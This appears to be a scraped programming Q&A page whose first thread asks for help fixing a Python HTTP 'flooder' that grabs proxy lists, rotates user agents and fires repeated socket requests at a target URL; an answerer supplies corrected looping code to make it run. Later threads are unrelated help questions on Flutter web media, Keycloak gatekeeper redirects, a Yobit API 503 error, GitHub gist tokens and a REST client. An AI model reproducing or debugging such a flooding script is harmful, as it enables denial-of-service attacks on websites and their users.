Problems building a flooding script that uses sockets - sockets

I'm trying to improve 2 projects of flooders (not mine) making my own script that these 2 ones. Doing that, I've almost finished but I'm stuck in a point where the script does nothing.
Here is the code:
import socket, threading, random, time, urllib.request, re, os.path
from bs4 import BeautifulSoup
useragents=["Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A",
"Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25",
"Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko",
"Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1",
"Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
"Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16",
"Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246",
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",]
def checkurl():
global url
url = input("Insert URL: ")
if url[0]+url[1]+url[2]+url[3] == "www.":
url = "http://" + url
elif url[0]+url[1]+url[2]+url[3] == "http":
pass
else:
url = "http://" + url
def threads():
global thread
try:
thread = int(input("Thread (800): "))
except:
thread = 800
def proxymode():
global choise1
choise1 = input("Do you want proxy mode? Answer 'y' to enable it: ")
if choise1 == "y":
choisedownproxy()
else:
exit(0)
def choisedownproxy():
choise2 = input("Do you want to download a fresh list of proxy? Answer 'y' to do it: ")
print ("")
if choise2 == "y":
proxyget()
else:
proxylist()
def proxyget():
if os.path.isfile("proxy.txt"):
out_file = open("proxy.txt","w")
out_file.write("")
out_file.close()
else:
pass
url = "https://www.inforge.net/xi/forums/liste-proxy.1118/"
soup = BeautifulSoup(urllib.request.urlopen(url), "lxml")
base = "https://www.inforge.net/xi/"
for tag in soup.find_all("a", {"class":"PreviewTooltip"}):
links = tag.get("href")
final = base + links
result = urllib.request.urlopen(final)
for line in result :
ip = re.findall("(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3})\.(?:[\d]{1,3}):(?:[\d]{1,5})", str(line))
if ip:
print("Proxy grabbed=> "+'\n'.join(ip))
for x in ip:
out_file = open("proxy.txt","a")
while True:
out_file.write(x+"\n")
out_file.close()
break
proxylist()
def proxylist():
global proxy
global entries
out_file = str(input("Enter the proxy list: "))
entries = open(out_file).readlines()
proxy = random.choice(entries).strip().split(':')
requestproxy()
def requestproxy():
global proxy
host = proxy[0]
port = proxy[1]
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
connection = "Connection: Keep-Alive\r\n"
request = get_host + useragent + accept + connection + "\r\n"
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(request)
except:
proxy = random.choice(entries).strip().split(':')
checkurl()
threads()
proxymode()
As you can see, this script uses a list of proxies to send request (using socket library) to target. But when I arrive at "Enter the proxy list" and after typed "proxy.txt", the script gets stuck! What did I do wrong? Can you help me?

After you entered "proxy.txt" the script opens the file and then calls requestproxy(). At the end of your requestproxy() you have a "while True". This is an infinite loop, so it will get stuck there unless there is a "break" somewhere, which isn't the case. You should probably add a break after s.send(request) and put the entire function into a loop. That way your infinite loop stops if the package has been sent, but if there was an exception it will try again with a different proxy.
That would look like this:
def requestproxy():
while True:
global proxy
host = proxy[0]
port = proxy[1]
host_url = url.replace("http://", "").replace("https://", "").split('/')[0]
get_host = "GET " + url + " HTTP/1.1\r\nHost: " + host_url + "\r\n"
useragent = "User-Agent: " + random.choice(useragents) + "\r\n"
accept = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate"
connection = "Connection: Keep-Alive\r\n"
request = get_host + useragent + accept + connection + "\r\n"
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(request)
break
except:
proxy = random.choice(entries).strip().split(':')
I hope this helps. Have a nice day!

Related

Video player on flutter web with local dart server

I have a local dart server, serving music and videos.
I tested it with android device and a flutter application and it worked with just_audio and video_player packages after adding this line in AndriodManifest.xml:
android:usesCleartextTraffic="true"
but when I am trying to run the same app on web I get an error saying:
(4) Failed to load URL
and when i tried to run another online video and audio it worked on the flutter web app
here is some snippets of my dart server code:
request.response.headers.add('Access-Control-Allow-Origin', '*');
request.response.headers.add('Access-Control-Allow-Methods', '*');
request.response.headers.add('Access-Control-Allow-Headers', '*');
and
File file = File(audioPath);
int length = await file.length();
String range = req.headers.value('range') ?? 'bytes=0-';
List<String> parts = range.split('=');
List<String> positions = parts[1].split('-');
int start = int.parse(positions[0]);
int end = positions.length < 2 || int.tryParse(positions[1]) == null
? length
: int.parse(positions[1]);
String? mime = lookupMimeType(audioPath);
response.statusCode = HttpStatus.partialContent;
response.headers
..contentType = ContentType.parse(mime ?? 'audio/mpeg')
..contentLength = end - start
..add('Accept-Ranges', 'bytes')
..add('Content-Range', 'bytes $start-$end/$length');
file.openRead(start, end).pipe(req.response);
so I think the solution to this issue is to do similar thing like this but in web:
android:usesCleartextTraffic="true"
and one more thing
when I checked for request.headers on the dart server, I didn't find the headers that I sent with the request from the frontend:
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
connection: keep-alive
accept: */*
accept-language: en-US,en;q=0.9
range: bytes=0-
accept-encoding: identity;q=1, *;q=0
host: 192.168.1.39:49359
referer: http://localhost:62278/

keycloak gatekeeper 404 after credentials

I have a backend hello world app, using the following ACLS
match-claims:
aud: appserver
iss: http://192.168.1.132/auth/realms/master
resources:
- uri: /app
methods:
- GET
roles:
- user
require-any-role: true
causes 404 right after login, with the following logs
gatekeeper_1 | 1.5576708594647906e+09 error keycloak-gatekeeper/middleware.go:108 no session found in request, redirecting for authorization {"error": "authentication session not found"}
nginx_1 | 172.23.0.1 - - [12/May/2019:22:20:59 +0800] "GET /app HTTP/1.1" 307 95 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131
Safari/537.36"
gatekeeper_1 | 1.5576708594775462e+09 debug keycloak-gatekeeper/handlers.go:88 incoming authorization request from client address {"access_type": "", "auth_url": "http://192.168.1.132/auth/realms/master/protocol/openid-connect/auth?client_id=appserver&redirect_uri=http%3A%2F%2Flocalhost%2Foauth%2Fcallback&response_type=code&scope=openid+email+profile&state=9e9edff9-b532-45e8-8b57-ed30783b38d6", "client_ip": "172.23.0.6:42310"}
nginx_1 | 172.23.0.1 - - [12/May/2019:22:20:59 +0800] "GET /oauth/authorize?state=9e9edff9-b532-45e8-8b57-ed30783b38d6 HTTP/1.1" 307 284 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
nginx_1 | 172.23.0.1 - - [12/May/2019:22:20:59 +0800] "GET /auth/realms/master/protocol/openid-connect/auth?client_id=appserver&redirect_uri=http%3A%2F%2Flocalhost%2Foauth%2Fcallback&response_type=code&scope=openid+email+profile&state=9e9edff9-b532-45e8-8b57-ed30783b38d6 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
nginx_1 | 172.23.0.1 - appserver [12/May/2019:22:20:59 +0800] "POST /auth/realms/master/protocol/openid-connect/token HTTP/1.1" 200 3507 "-" "Go-http-client/1.1"
gatekeeper_1 | 1.557670859584654e+09 info keycloak-gatekeeper/handlers.go:167 issuing access token for user {"email": "benjamin.hon#biomind.ai", "expires": "2019-05-12T14:21:59Z", "duration": "59.4153639s"}
nginx_1 | 172.23.0.1 - - [12/May/2019:22:20:59 +0800] "GET /oauth/callback?state=9e9edff9-b532-45e8-8b57-ed30783b38d6&session_state=bea8afff-1137-4a60-beb5-cf05a9974b34&code=ce737cdb-f3b2-4c8f-9198-5f5e0d80e2f4.bea8afff-1137-4a60-beb5-cf05a9974b34.10d7e9eb-226b-4ac8-890e-6c640ab53059 HTTP/1.1" 307 37 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
nginx_1 | 172.23.0.1 - - [12/May/2019:22:20:59 +0800] "GET / HTTP/1.1" 404 555 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
nginx_1 | 172.23.0.1 - - [12/May/2019:22:20:59 +0800] "GET /auth/realms/master/protocol/openid-connect/auth?client_id=appserver&redirect_uri=http%3A%2F%2Flocalhost%2Foauth%2Fcallback&response_type=code&scope=openid+email+profile&state=9e9edff9-b532-45e8-8b57-ed30783b38d6 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
nginx_1 | 172.23.0.1 - appserver [12/May/2019:22:20:59 +0800] "POST /auth/realms/master/protocol/openid-connect/token HTTP/1.1" 200 3507 "-" "Go-http-client/1.1"
gatekeeper_1 | 1.5576708598920956e+09 info keycloak-gatekeeper/handlers.go:167 issuing access token for user {"email": "benjamin.hon#biomind.ai", "expires": "2019-05-12T14:21:59Z", "duration": "59.107928s"}
nginx_1 | 172.23.0.1 - - [12/May/2019:22:20:59 +0800] "GET /oauth/callback?state=9e9edff9-b532-45e8-8b57-ed30783b38d6&session_state=bea8afff-1137-4a60-beb5-cf05a9974b34&code=fc79909a-3b36-4140-ac6a-cc340b621398.bea8afff-1137-4a60-beb5-cf05a9974b34.10d7e9eb-226b-4ac8-890e-6c640ab53059 HTTP/1.1" 307 37 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"
However, it works if i use the follow ACLS
resources:
- uri: /app
methods:
- GET
white-listed: true
I've checked everything, the roles are assigned and created.
This is the JWT i get after logging in
{
"jti": "04de181a-bf9a-4db3-bfcc-006a12d00892",
"exp": 1557672962,
"nbf": 0,
"iat": 1557672902,
"iss": "http://192.168.1.132/auth/realms/master",
"aud": [
"account",
"appserver"
],
"sub": "d7a580b3-7987-40fa-905d-5be1662392ee",
"typ": "Bearer",
"azp": "appserver",
"auth_time": 1557672902,
"session_state": "71353c04-3e7c-4cf4-9203-fea485990fe9",
"acr": "1",
"realm_access": {
"roles": [
"offline_access",
"uma_authorization",
"user"
]
},
"resource_access": {
"account": {
"roles": [
"manage-account",
"manage-account-links",
"view-profile"
]
}
},
"scope": "openid profile email",
"email_verified": true,
"name": "john doe",
"preferred_username": "john",
"given_name": "john",
"family_name": "doe",
"email": "xxx"
}
It seems to me that the authentication is working, but after the authorization, it seems to not redirect it to the internal proxy of the backend app, but to http://localhost instead?
I don't really know how to debug this though, any help will be appreciated!
ahh i got it to work there was two things that needs to be set
secure-cookie: false
redirect-url: <gatekeeper url>

Why I cannot access Yobit API using webclient

The code used to work.
The URL in question is
https://yobit.net/api/3/info
It works in IE. It used to work with webclient. It doesn't work in webclient now. And I wonder what the problem is
Suddenly it stops working. So I am checking
Try
Dim wc = New WebClient
wc.Headers.Add("Accept", "text/html, application/xhtml+xml, image/jxr, */*")
wc.Headers.Add("Accept-Encoding", "gzip, deflate")
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko")
wc.Headers.Add("Accept-Language", "en-US,en;q=0.5")
wc.DownloadString(URL)
Catch ex As Exception
End Try
I also tried simple version. Not working
Try
Dim wc = New WebClient
wc.DownloadString(URL)
Catch ex As Exception
End Try
In both cases yobit throw 503 access denied exception
I use fiddler and try to use internetexplorer to access directly
It works fine
GET https://yobit.net/api/3/info HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: yobit.net
Connection: Keep-Alive
Cookie: __cfduid=de63c60d603f271520b9ee58dfdd257061517932785; cf_clearance=7e58588df28b267842f753567dcdc475d29679a6-1517932789-86400; locale=en
If I use webclient this is the header
GET https://yobit.net/api/3/info HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Accept: text/html, application/xhtml+xml, image/jxr, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: yobit.net
Connection: Keep-Alive
Almost the exact same thing.
Let me try another URL
Say http://google.com
GET http://www.google.com/ HTTP/1.1
Accept: text/html, application/xhtml+xml, image/jxr, */*
Accept-Language: en-US,en;q=0.5
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate
Host: www.google.com
Connection: Keep-Alive
Cookie: NID=121=GUd4VKHT_gcwUx-hK39mphuCg93Q_W2fL_yCc-JO3AJkgh74EGajif0537eraLK8ns2EdEQPexOOeBxSlOxVrj8t_AVn21FRme2hAxuLXz4F8aCZExIzME4jaYMBuUp_lnak5Q; OGPC=19004116-3:; 1P_JAR=2018-1-9-7
If I use webclient
GET http://google.com/ HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Accept: text/html, application/xhtml+xml, image/jxr, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: google.com
Connection: Keep-Alive
Both works.
There could be different issues here
Framework Version
You recently changed the framework version and that has some issue which causes it not to work. You can change the framework versions and see if it helps
Compression of Data
WebClient by default is not doing decompression and you add headers to request gzip data if available. Now there is a possibility that the site didn't enable gzip earlier which made it work for you and now they have enabled gzip responses. You can fix that by changing
wc.Headers.Add("Accept-Encoding", "gzip, deflate")
to
wc.Headers.Add("Accept-Encoding", "deflate")
Or if you want the data to come in compressed form only, then you can enable auto decompression as shown in below code
class Program
{
class MyWebClient : WebClient
{
protected override WebRequest GetWebRequest(Uri address)
{
var request = base.GetWebRequest(address) as HttpWebRequest;
request.AutomaticDecompression = DecompressionMethods.Deflate | DecompressionMethods.GZip;
return request;
}
}
public static void Main(string[] args)
{
var URL = "https://yobit.net/api/3/info";
var wc = new WebClient();
wc.Headers.Add("Accept", "text/html, application/xhtml+xml, image/jxr, */*");
wc.Headers.Add("Accept-Encoding", "gzip, deflate");
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
wc.Headers.Add("Accept-Language", "en-US,en;q=0.5");
Console.WriteLine(wc.DownloadString(URL));
// TODO: Implement Functionality Here
Console.Write("Press any key to continue . . . ");
Console.ReadKey(true);
}
}
The above example is C# and not VB.NET but you can easily convert it

Personal Access token in Gist

I've created a personal access token (https://github.com/settings/tokens) giving Gist perms.
I'm trying to use it to create a gist but I'm getting
{
"message": "Not Found",
"documentation_url": "https://developer.github.com/v3"
}
My request is:
POST /gist HTTP/1.1
Host: api.github.com
Connection: close
X-Client-Data: CJO2yQEIorbJAQjBtskBCPqcygEIqZ3KAQjSncoBCKijygE=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept-Language: en-US,en;q=0.8,es;q=0.6
Authorization: Basic blablablablablabla
Content-Length: 142
{
"description": "the description for this gist",
"files": {
"file1.txt": {
"content": "String file contents"
}
}
}
Can't personal tokens being used to post in gist?
The problem is that Basic authentication should not be used but a specific header to provide the token. The request should be:
POST /gist HTTP/1.1
Host: api.github.com
Connection: close
X-Client-Data: CJO2yQEIorbJAQjBtskBCPqcygEIqZ3KAQjSncoBCKijygE=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
Accept-Language: en-US,en;q=0.8,es;q=0.6
Authorization: token aabbaabbaabbabababababababababababababab
Content-Length: 142
{
"description": "the description for this gist",
"files": {
"file1.txt": {
"content": "String file contents"
}
}
}

Google chrome extension Simple REST Client

I am using Google chrome extension tool Simple REST Client to test my web services. How to call post method with multiple parameters. I searched in internet, there is no enough documentation for this app.
Example POST method
#POST
#Path("createcategory")
#Consumes("application/x-www-form-urlencoded")
#Produces(MediaType.APPLICATION_XML)
public void CreateCategory(#FormParam("cname") String cname,#FormParam("cdescription") String cdescription)
{
CategoriesBO category = new CategoriesBO();
category.setCategoryName(cname);
category.setCategoryDescription(cdescription);
CategoriesEntityHandler handler = new CategoriesEntityHandler();
try {
category = handler.createCategory(category);
} catch (Exception e) {
}
}
This link suggested adding
"Content-Type: application/x-www-form-urlencoded"
in the header box and a paramlist:
(param1=val1&param2=val2&...)
in the data box, which worked for me.
For "Headers", each header needs to be on a newline:
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
While "Data" needs to be in json-format, so something like this:
{"login":"USERNAME","password":"PASSWORD"}
using a paramlist did not work for me.